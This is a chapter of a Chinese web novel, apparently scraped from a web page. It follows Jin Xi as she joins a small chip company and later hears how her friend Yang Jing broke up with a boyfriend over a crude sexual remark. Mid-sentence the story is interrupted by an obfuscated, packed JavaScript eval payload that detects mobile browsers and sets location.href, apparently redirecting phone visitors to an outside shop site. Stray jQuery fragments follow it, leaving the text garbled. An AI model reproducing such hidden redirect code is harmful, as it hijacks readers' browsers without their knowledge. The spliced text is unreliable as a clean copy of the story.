几天后，金希与魏萱约定好了去公司参观。


    她原本设想的是去随意转一下看看工作环境，最多再和魏萱或者人事聊聊就可以了。


    但没想到魏萱会特意将所有员工召集到一起，非常郑重地介绍了她。


    得知她是Q大毕业时，所有人齐声“哇！”。


    魏萱又道：“希望大家以后多向金希学习，我们共同努力才能让公司再攀高峰。”


    虽然金希还没明确说会入职，但她不管三七二十一，高帽子先扣上去再说。”


    之后魏萱又要请所有人喝奶茶，问金希想喝什么，金希笑了笑，半真半假道：“魏总，我还没入职，跟着蹭吃蹭喝的也太不好意思了。”


    跟着就有人道：“嘿，是我们在蹭吃蹭喝才对，这都是你的面子，老大这个一毛不拔的，可从没请我们喝过奶茶。”


    魏萱佯怒：“季洋，你摸着良心说话，我是没请过奶茶，但平时海鲜自助火锅烧烤的，我少你们了？”


    “我告诉你们，别满嘴跑火车啊，要是把金希吓跑了，她的工作量就全加你们头上。”


    季洋就嘿嘿笑，大家也都跟着笑了。


    金希看得出来她们和魏萱的关系都很好，也没把魏萱的恐吓当回事。


    公司的位置远离市中心，在产业园里租了间面积约两百平的办公室，麻雀虽小但五脏俱全，茶水间会议室都不缺，除了用磨砂玻璃隔开的一小块区域作为魏萱的独立办公室之外，其他所有部门同事都在一处。


    办公环境比起金希之前宽敞阔气的独栋大楼，可谓是狭小逼仄了不少。


    金希本以为会很压抑，但并不是，每个人的脸上都有一股拼劲儿，不像之前的死气沉沉。


    可见心境比环境重要得多。


    金希终于下定决心接了这份offer。


    正式入职后，金希很快发现，从感情上来说她很喜欢这里，大家都是年轻人，没有勾心斗角，没有偷奸耍滑，彼此之间相处愉快。


    但就理性而言，她有些水土不服，因为——这真的是个草台班子啊！


    要研发流程规范文件？不好意思，没有。


    要之前的电路设计报告？不好意思，没写过那种东西。


    要和代工厂以及测试部那边沟通确认信息的邮件记录，这个总有吧？


    同事找了找，睁着一双清澈无辜的大眼睛回答她：“没有邮件，之前都是用微信聊的，聊天记录……找不到了，应该是换手机的时候删掉了。”


    金希：“……”


    她现在辞职还来得及吗？


    魏萱拍着她的肩膀，面色沉重道：“金希啊，你在大厂干过，你就照着你们之前的方式来制定一套研发部的规范吧。”


    所谓规范，一般来说具体指项目开展前要有提供哪些文件，项目进行中要注意哪些问题点，项目结束后又要进行哪些检查与复盘。


    金希闭着眼接下了这艰巨的任务，额角青筋直跳。


    魏萱让她照着之前公司的标准来，但她也不能完全照葫芦画瓢。她在大厂时还时常嫌一些规矩繁琐，明明能一天解决的事情，非要上上下下跑流程拖上一周。


    大厂能拖得起，为了规范可以牺牲效率。


    但对于小公司而言，如果照搬那套，能活生生把公司拖死。


    金希想尽办法地取其精华去其糟粕，简化了不少，又把什么日报周报月报全给删了，没必要，她只是想做好项目，又不是为了为难同事。


    魏萱是位比较有良心的老板，不喜欢形式主义的加班文化，真正有必要赶进度时才会加班，不忙的时候大家都是到点就走。


    金希一时间竟有些不习惯。


    季洋是个自来熟，下半时路过她的工位，总会问一句：“还不走呀？”


    金希在忙碌间抬起头，才发现外面的办公室已经没人了，只有总经理办公室的灯还亮着。


    “魏总还没走啊？”金希问了句。


    其实同事们对魏萱的称呼都是“老大”，只有金希会正儿八经地喊“魏总”。


    魏萱头一次听到时喜不自胜，强烈呼吁以后所有人都这么称呼她，可惜无人在意。


    “在忙吧。”季洋不甚在意道，“她的公司合该她最忙，你别管，该走就走。”


    金希想了想，还是在临走前敲了敲魏萱办公室的门，将做好的研发流程方案拿给魏萱看。


    魏萱认真看完，面露欣赏道：“不错，懂变通，你要是真把大厂那套照搬过来，我倒要怀疑自己看人的眼光了。”


    什么意思？合着是考验我呢？


    金希有些无奈道：“这其实应该是产品经理的活儿才对……”


    潜台词是这本就不属于我的职责范畴，能做出来就不错了，您就别挑三拣四了。


    魏萱轻咳两声：“能者多劳，能者多劳嘛！”


    可不是嘛，金希有些心塞地想着，她们公司人事兼职行政与前台，销售兼职助理与司机，那么她兼职一下产品经理好像也说得过去。


    魏萱面不改色地画饼：“等明年，我们的团队还会继续壮大的，要是能扩展到成百上千人的规模，别说产品经理了，我能专门找个助理来给研发泡咖啡取外卖。”


    金希笑而不语，就静静地看着她。


    魏萱的梦编不下去了，挥挥手让她走人了。


    *


    金希入职两个月，杨静往她这边跑了五趟。


    两人把Z市的古镇逛了个遍，初见时着实惊艳。白墙黛瓦，垂柳摇船，白日里撑着伞在青石板铺就的小巷里穿梭，细雨薄雾，一片朦胧。夜间屋檐上红灯笼亮起，又添几分华丽。


    但一连去了几个不同的古镇，会发现同质化太过严重，难免审美疲劳。


    这周杨静又来，二人便没去景区，依然是杨静做了饭，金希边看边学，边打下手。


    吃完后去了家门口的公园散步消食。


    这边人少，不甚明亮的路灯穿透夜色，风吹过梧桐叶，沙沙作响。金希落后几步，打量着杨静低垂的头，半晌叹了口气：“说说吧，怎么了？又吵架了？”


    她发现杨静一整天都没怎么说话，也没看手机。


    杨静回头，惊讶于金希的敏锐，她叹气，又摇头道：“不算吵架，是分手了。”


    如果说刚才金希的问话是出自对于朋友的关心，那么这下她才是真的好


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574637|181231||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    奇了：“你提的？”


    杨静点头。


    “为什么？”


    杨静有些犹豫 ：“我不是想瞒着你，主要是怕说出来恶心到你。”


    金希拉着她找了个长椅坐下，从包里翻出一包薯片，咔哧咔哧嚼了两片，无所畏惧道：“没事儿，你说，恶心话我听得多了。”


    杨静便开始讲，说起来也并不复杂，周嘉泽一直想和她发生关系，她不太情愿，便常往金希这边跑来逃避。


    周嘉泽便对金希有了意见，但他一开始没说，而且还不知是去哪里做的功课，直到上周末他请杨静去了一家非常有情调的法式餐厅吃烛光晚餐，还在蛋糕里藏了戒指，很是深情款款地诉了番衷肠。


    杨静一时间被感动，半推半就地随他去了酒店。


    事后，周嘉泽倚着床头点了支烟，神色慵懒地说了三句话，只这三句话，让向来没什么脾气的杨静当场掀被子穿衣服，撂下“分手”两个字就头也不回地走了。


    杨静说到这里卖了个关子，金希便愈发好奇。


    “你真要听？”杨静有些无奈。


    金希眨眨眼。


    “好吧。”杨静面无表情地继续说。


    周嘉泽当时一脸自信地问：“爽吗？”


    杨静其实除了痛没什么感觉，但她不想打击对方，还是给面子地点了点头。


    于是周嘉泽道：“后悔了吧？你说你老往金希那边跑什么？早点答应我，不就能早点过上□□生活了？”


    听到这句时杨静已经隐隐有些不适，但她还是没说话。


    直到周嘉泽突然嘿嘿一笑道：“你要是真和金希关系那么好，老想跟她在一块儿也不是不行，要不你把她叫过来？问问她愿不愿意三个人？”


    杨静愣了一会才反应过来他在说什么，顿时怒气上涌，想骂句什么，却气到嘴唇发抖说不出话。


    随手拿了个枕头扔到了周嘉泽脸上，枕头又将烟头儿砸到了他的手腕上。


    杨静在对方痛呼声中以最快的速度穿好衣服夺门而出。


    她可以接受周嘉泽吝啬，也可以接受周嘉泽对她的感情不那么纯粹，甚至吵架时口不择言骂她几句难听的，她也可以选择原谅。


    她承认自己是有些恋爱脑。


    但是无论如何，她绝不能接受周嘉泽羞辱她的朋友，尤其这个朋友还是金希。


    金希确实被恶心到了，她觉得自己还是低估了某些男人的下限，手里的薯片都不香了。


    杨静却捏了快薯片恶狠狠地塞进嘴里，边咀嚼边口齿不清道：“我觉得我复述一遍，我嘴巴都脏了，要用薯片盖盖味儿。”


    “你知道吗？他这几天还在给我发消息，不停地解释那天只是开个玩笑，还说不理解我为什么这么大的反应。”杨静皱眉道，“什么玩意儿？真恶心。”


    金希跟着皱眉道：“你还没拉黑他？”


    杨静道：“微信和手机都拉黑了，他用支付宝聊的。”


    金希：“……”


    杨静：“正好我还没骂够，等我骂完就全网拉黑他。”


    她那天气昏了头都没顾得上当面骂他，既然对方又送上门来，她就不客气了。